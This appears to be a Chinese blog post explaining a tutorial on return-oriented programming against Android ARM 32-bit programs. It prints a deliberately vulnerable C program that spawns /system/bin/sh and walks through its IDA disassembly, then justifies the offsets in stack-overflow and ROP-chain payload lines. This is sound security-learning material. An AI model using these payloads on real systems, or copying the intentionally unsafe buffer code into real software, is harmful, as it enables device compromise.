編輯:關於android開發
0x00
本文僅解釋說明蒸米大神一步一步學ROP之Android ARM 32位篇,讀者應先閱讀這篇文章,遇到問題再來看我這篇文章。
0x01
第一個問題:payload = 'A'*132 + p32(callsystemaddr),這個132是怎麼來的?
要回答這個問題,我們需要把level6.c反匯編,level6.c代碼如下:
#include我們把使用ndk-build編譯後,生成的level6拖入ida pro中,找到vulnerable_function對應的反匯編代碼:#include #include void callsystem() { system("/system/bin/sh"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { if (argc==2&&strcmp("passwd",argv[1])==0) callsystem(); write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
.text:00008564 sub_8564 .text:00008564 PUSH {LR} .text:00008566 MOVS R2, #0x80 .text:00008568 SUB SP, SP, #0x84 .text:0000856A MOV R1, SP .text:0000856C LSLS R2, R2, #1 .text:0000856E MOVS R0, #0 .text:00008570 BL sub_9414 .text:00008574 ADD SP, SP, #0x84 .text:00008576 POP {PC} .text:00008576 ; End of function sub_8564參考ARM子函數定義中的參數放入寄存器的規則,這個函數對應下面的函數代碼:
void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); }R0對應STDIN_FILENO,buf對應SP-0X84,R2對應256,參數已經存入的寄存器,接著BL sub_9414就是調用read函數。那麼132是怎麼來的呢,我們來看一張圖:
下一個地址就是LR,也就是返回地址,覆蓋了這個地址,就會去執行對應的函數。
0x02
callsystemaddr = 0x00008554 + 1。這個地址是我們靜態分析時,callsystem在ida中的靜態地址。那麼當level在內存中加載並執行後,對應的虛擬地址還是這個麼?答案是,是這個地址。我們可以使用cat /proc/pid/maps來觀察映射表。如下圖:
0x03
payload = '\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul),這裡為什麼'\x00' * 0x84 + p32(ret_to_vul)就返回到vulnerable_function函數呢?
答案是gadget2是write函數,write函數執行時首先會把LR壓入堆棧,此時的LR還是指向了.text:00008574 ADD SP, SP, #0x84,因為只執行了BL sub_9414,下一行的地址被存入LR,一直沒有變化。
當write函數執行完畢後,pop {pc},繼續執行.text:00008574的代碼,也就是這兩句代碼.text:00008574 ADD SP, SP, #0x84 .text:00008576 POP {PC},這樣就理解了為什麼寫成'\x00' * 0x84 + p32(ret_to_vul)就可以返回到vulnerable_function函數了。
Android Volley 的基本使用/設置HTTP請求參數、apikey,androidapikey最近在做一個Android的新聞客戶端,感覺收獲頗豐。 這裡分享一
Android開發通用的工具類 Android開發通用的工具類 在開發中有些代碼都是重復性的,如果能把這些代碼集中的分類提取出來(比如網絡連接、數據保存等),然後再以後寫
如何「偷」Android 的內存?,「偷」android之前在做一個內存優化的時候,使用到了MemoryFile,由此發現了MemoryFile的一些特性以及一個非常tr
linux TCP發送過程源碼分析——socket層linuxTCP發送過程源碼分析——socket層 ——lvyilong316 內核版本:3.15.2 Socket數
Adroid: getExternalStorageDirectory